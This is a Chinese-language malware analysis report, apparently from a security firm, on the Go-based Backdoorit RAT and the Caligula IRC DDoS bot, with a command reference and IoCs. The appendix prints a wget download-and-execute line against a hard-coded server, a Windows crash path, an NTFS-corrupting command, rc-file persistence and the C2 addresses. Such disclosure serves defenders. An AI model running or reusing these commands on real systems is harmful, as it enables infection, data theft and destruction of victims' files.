介绍
Go 程序语言的受欢迎程度日益增加。其中一个原因是 Go程序可以被编译为适用于多个操作系统和架构的单个二进制文件,包含所有需要的依赖项。基于这些特性,我们观察到,正如我们所预期的,使用 Go编程语言编写的恶意软件和灰色工具数量有所增加。我们每周都会发现新的样本。
例如,在4月底
,我们在内部蜜罐中发现了两种新变种,分别是Backdoorit
和Caligula
,当时这两者在病毒总数(VT)上未被检测到。
这两种恶意软件都是多平台的机器人,支持多种处理器架构,并使用 Go 编程语言编写。
分析 Backdoorit
Backdoorit
(版本 1.1.51562578125 )是一个用 Go 编写的多平台远程访问木马(RAT),同时支持 Windows
和
Linux/Unix
操作系统。在代码的许多地方,它也被称为backd00rit
。
通过对 Backdoorit
的 analyse-full
命令的仔细检查,我们得出结论,该恶意软件的主要目的是窃取与 Minecraft
相关的文件,以及 Visual Studio
和 IntelliJ
的项目。
然而,该恶意软件的目标并不仅限于这些文件。一些命令(如upload
、basharchive
、bashupload
等)允许它窃取任意文件和信息,在系统中安装其他恶意软件或执行任意命令(如run
、run-
等),并截取用户活动的屏幕截图(如
binaryscreenshot
、ssfile
等)。
证据表明,Backdoorit
的开发者可能不是英语母语者,这进一步指向了一个可能的俄罗斯威胁行为者。代码中的注释和字符串主要用英语书写,但常常出现语法错误。例如,我们发现了一条信息:“
需要确认,执行 ”。我们还发现一些孤立的字符串用俄语书写。
除了上述字符串外,我们还观察到,包括 文件(一个提供 Minecraft服务器的俄罗斯项目)在内的文件也被目标锁定。这进一步导致我们相信该恶意软件背后的威胁行为者是俄罗斯来源。
运行 Backdoorit
后,该 RAT 会检索一些基本的环境信息,例如当前操作系统和用户名称。它,然后持续尝试连接到 C&C服务器,以便让攻击者访问 shell。
恶意软件通过一系列 backd00r1t_logging_*
函数记录所有执行的操作和步骤。这些日志可以使用 uploadlogs
和
uploadlogs-file
shell 命令上传到攻击者的服务器,或者在发生 Go panic 异常时自动上传。
在这种情况下,backd00r1t_backdoor_handlePanic
处理异常并执行以下操作:
- 它首先向 C&C 服务器的
_/api/logs_
端点发送日志,采用JSON
请求结构,如backd00r1t_api_SendLogs
函数所定义。 - 它关闭与 C&C 服务器的连接。
- 它尝试重新连接。
上述处理程序有助于保持机器人连接,并允许攻击者远程跟踪执行过程。
一旦与 C&C 连接成功,攻击者将获得以下上下文信息。backd00r1t_backdoor_SocketConnectionHandle
函数负责处理此 RAT 支持的所有命令,首要任务是调用 backd00r1t_backdoor_printMotd
来显示相关信息:
- 上次连接时间
- Backdoorit 版本
- 进程
- 活动连接
- 用户名
- 用户主目录
- 用户 ID
- 登录
- Gid
- 进程路径
- 模块自启动状态
该 shell 允许威胁行为者远程执行任意命令。一个可能最先执行的命令是 analyse-full
命令,因为它生成一个 report.txt
文件,该文件包含 Desktop
、Documents
、Downloads
、Minecraft
和 VimeWorld
文件夹的目录结构,并将提到的报告和 Visual Studio
与 IntelliJ
项目文件夹内容上传至
,该网页服务允许通过命令行上传文件,存储限制为 50GB
。
如前所述,如果攻击者选择这样做,还可以在系统中植入其他恶意软件。威胁行为者可以使用命令:run-
(用于下载和执行脚本的命令)、
binaryshell
(允许生成操作系统 shell 并执行任意命令)或其他可用命令。
该恶意软件还包含一种“杀死开关”,可通过 exploit
命令触发,但在这种情况下,它不仅仅是删除恶意软件,而是能够通过利用
来崩溃 Windows 操作系统,并通过
破坏硬盘的 NTFS在易受攻击的系统上。这导致文件信息的完全丢失(包括大小、时间和日期戳、权限和数据内容),当然,也清除了感染的证据。
shell 中实现的命令还有很多,可以在附录相关部分查看。需要注意的是,恶意软件中包含 checkupdates
命令,因此我们或许可以期待不久后会看到新的 Backdoorit
版本。
分析 Caligula
Caligula
是一个新的基于 IRC
的多平台恶意机器人,允许执行 DDoS
攻击。
该恶意软件使用 Go 编写,并以 ELF
文件格式分发,目标为多种不同的处理器架构:
- Intel 80386 32位
- ARM 32位
- PowerPC 64位
- AMD 64位
它当前支持通过 WSL
的 Linux
和 Windows
平台,并使用函数 __os_user_Current
来确定底层操作系统。
Caligula
基于
开源项目,这是一个容易修改的基于事件的 IRC 机器人
,可以在不失去与服务器连接的情况下进行更新。
当然,Caligula
中还发现了许多来自开源项目的代码重用(如
、、、 和 ),但其核心功能仍基于 Hellabot
。
我们在野外获取的所有样本都配置为通过以下数据连接到同一个硬编码的 IRC 频道:
- 主机:45.95.55.24:6667
- 频道:#caligula
- 用户名:由平台、当前用户和一个伪随机数字组成。
- 例如:[LINUX]kali-11066
如下图所示,机器人已准备好加入 Caligula IRC Net v1.0.0
的僵尸网络。
Caligula IRC Net v1.0.0
是一个准备好的网络攻击僵尸网络。该机器人为攻击者提供了以下攻击选项:
攻击 | 描述
—|—
udp | udp 洪水,没有多少选项。
http | http 洪水,没有任何选项。
syn | syn 洪水。
handshake | 握手洪水。
tcp | tcp 洪水。
有关 Caligula机器人源代码如何组织的更多信息,请查看附录中的源代码文件列表。它对于获得恶意软件设计的高级视角很有用,可以注意到新攻击方法可以轻松添加到其中,并识别
Caligula 恶意软件家族。
结论
由于其原生的多平台支持和相对易于开发,Go 程序语言用于恶意用途的情况正在增长,特别是在针对 Unix/Linux 操作系统的恶意软件中。
随着对 Go 编程语言的兴趣和社区的不断增长,一些恶意工具正在 GitHub 上开源,并被不同的威胁行为者重用。
在这种情况下,我们是最早检测到并猎捕到 Backdoorit 和 Caligula 的组织之一。
附录
Backdoorit shell 命令参考
命令语法 | 描述
—|—
shell | 此命令生成一个 shell。如果可能,在 Windows 平台上执行 PowerShell。否则执行命令提示符。对于其他平台,它生成一个 Bash Unix shell。
help | 显示可用命令以及一些状态信息的帮助。
toggle-path | 启用或禁用显示切换路径。
bell | 启用或禁用铃声。
clear-fallback | 清屏。
background-logs | 向攻击者请求 buffer size 和 maximum buffer size 以便在后台存储日志。
backdoor | 显示 RAT 信息:BuiltCodenameVersionReconnect time
clear-code | 使用 ANSI 转义码重置字体的任何样式属性: \x1B[0J
clear-color | 清除 shell 颜色。
colors / color | 启用或禁用 shell 颜色。
un-export [env][fir][key][url] | 移除一个环境变量。
export | 添加一个环境变量。
mkdir [path] | 为指定路径创建文件夹。
exit | 退出。
wcd | 打印工作目录。
motd | 打印以下信息:
最后连接时间。
Backdoorit 版本。
进程。
活动连接。
用户名。
用户主目录。
用户 ID。
登录。
Gid。
进程路径。
模块自启动状态。
get-asset [asset] | 获取某资产(通过字符串标识,并通过 GO 语言 mapaccess1_faststr 函数访问)。
extract-asset [asset] (path) | 将某资产提取到指定路径。
safe | 允许禁用安全模式。
open-file | 打开文件。
open | 在浏览器中打开网址。
list-windows-disks | 列出磁盘(Windows 系统可用的命令)。
cp [target] [dist] | 复制文件。
rm | 删除文件或文件夹及其所有内容。
如果攻击者尝试删除整个当前文件夹,代理会询问以防止人为错误。
cd | 更改工作目录。
ls | 显示修改日期、文件名和大小。
cat [file][path] | 读取文件。
checkupdates | 请求版本到端点: /api/version
如果适用操作系统有新版本可用,则通过 wget 下载:
wget -O app –user nnstd –password accesshttp://185.174.136.162/4ejski_bejenec && chmod +x app && ((./app) &)
exploit [exploit] […] | 运行一个利用。当前支持以下利用:
windows/crash/unc 它通过访问文件: \\.\globalroot\device\condrv\kernelconnect 崩溃
Windows。
windows/destroy/i30 它通过执行以下命令损坏驱动器: cd C:\\:$i30:$bitmap
autostart | 通过修改以下文件持久化负载: .bashrc 、 .profile 、 .zshrc 、 .bash_profile 、 .config/fish/config.fish
该命令启用内部标志: backd00r1t_modules_autostart_state
autostart-update | 更新自启动项。
exec [cmd] […] | 使用指定的参数执行命令。
sysinfo {detailed} | 显示以下系统信息:
WorkingDirectory、命令行、用户、终端
neofetch / screenfetch | 显示以下系统信息: CPU 信息:家族、供应商、物理 ID。核心
主机信息:正常运行时间、操作系统、平台、平台家族、平台版本、主机 ID、内核架构、内核版本、网络接口信息:硬件地址、标志、索引
Screenshot / ssfile / screen | 生成一张屏幕截图,并将其存储在一个 PNG 文件中,该文件位于以下目录之一,取决于平台:Windows: C:\Users\{username}\AppData\Local\Temp Linux: /tmp/ 最后,屏幕截图被上传,并且在此之后,从磁盘中删除该文件。
archiveapi | 创建一个文件,格式为: tmp-archive-{current_date}.gdfgdgd Windows 平台: C:\\Users\\{username}\\AppData\\Local\\Temp
Linux 平台: /tmp/该函数在文件同名已存在的情况下删除之前的文件。然后发送文件并删除。
Create-archive [output] [target] | 在输出中创建归档文件。
Uploadapi [file][path] | 自动将指定文件上传到预定义服务器。
uploadlogs-file | 使用 /api/upload API 端点上传文件 agent.log
uploadlogs | 以 JSON 格式将日志发送到 API 端点 /api/logs
upload [url] [file] | 上传文件至服务器(HTTP)。
bashupload [file][path] | 自动将文件上传至 https://bashupload.com/
bashdownload | 访问 https://bashupload.com/ 的文件,参数为: ?download=1
bashupload-parse [file][path] | 自动将文件上传到 https://bashupload.com/ 并获取直接链接
basharchive [target] | 创建归档并上传到 bashupload.com: https://bashupload.com/backdoor-archive.zip
download | 下载文件。
bashdownload [url] | 通过查询 URL 下载文件: https://bashupload.com/
参数为: ?download=1
run [url] | 下载脚本并运行。
run-binary | 下载脚本并运行。当前仅支持 Windows 平台。它将 run-script.ps1 文件下载到临时文件夹并执行。
cls | 清屏。
$STOP | 此命令停止 Backdoorit。
analyse-full | 创建一个报告 report.txt ,包含:
{USERHOME}\source\repos
{USERHOME}\IdeaProjects
Desktop 文件树
Documents 文件树
Downloads 文件树
AppData\Roaming\.minecraft 文件树
AppData\Roaming\.vimeworld 文件树。它通过 backd00r1t_analyze_uploadDirectory 上传
Visual Studio repos 文件夹和 IntelliJ 项目文件夹的内容,以及通过
backd00r1t_analyze_uploadFile 上传主要计算机文件夹的文件报告。
Backdoorit 机器人源代码列表
- H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go
- H:/backdoorIt//injected/backdoor/BackgroundTasks.go
- H:/backdoorIt//injected/backdoor/CommandHelpers.go
- H:/backdoorIt//injected/backdoor/ConnectionHandler.go
- H:/backdoorIt//injected/files/Assets.go
- H:/backdoorIt//injected/api/Configuration.go
- H:/backdoorIt//injected/backdoor/ExecHandlers.go
- H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go
- H:/backdoorIt//injected/backdoor/main.go
- H:/backdoorIt//injected/launcher/main.go
Caligula 机器人源代码列表
- /root/irc/bot/attack/attack.go
- /root/irc/bot/attack/methods.go
- /root/irc/bot/attack/parser.go
- /root/irc/bot/attack/flags.go
- /root/irc/bot/network/header.go
- /root/irc/bot/network/ip.go
- /root/irc/bot/network/tcp.go
- /root/irc/bot/routine/timedRoutine.go
- /root/irc/bot/attack/methods/httpflood.go
- /root/irc/bot/attack/methods/sshflood.go
- /root/irc/bot/attack/methods/synflood.go
- /root/irc/bot/attack/methods/tcpflood.go
- /root/irc/bot/attack/methods/udpflood.go
- /root/irc/bot/handle.go
- /root/irc/bot/singleInstance/singleinstance.go
- /root/irc/bot.go
IoCs
Backdoorit
34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0
Caligula
147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6
1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0
4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d
6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606
71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731
99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b
fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c
97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22
edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001
完整的 Backdoorit 和 Caligula IoCs 在我们的 中。
标记为 、
、
分享:XFacebook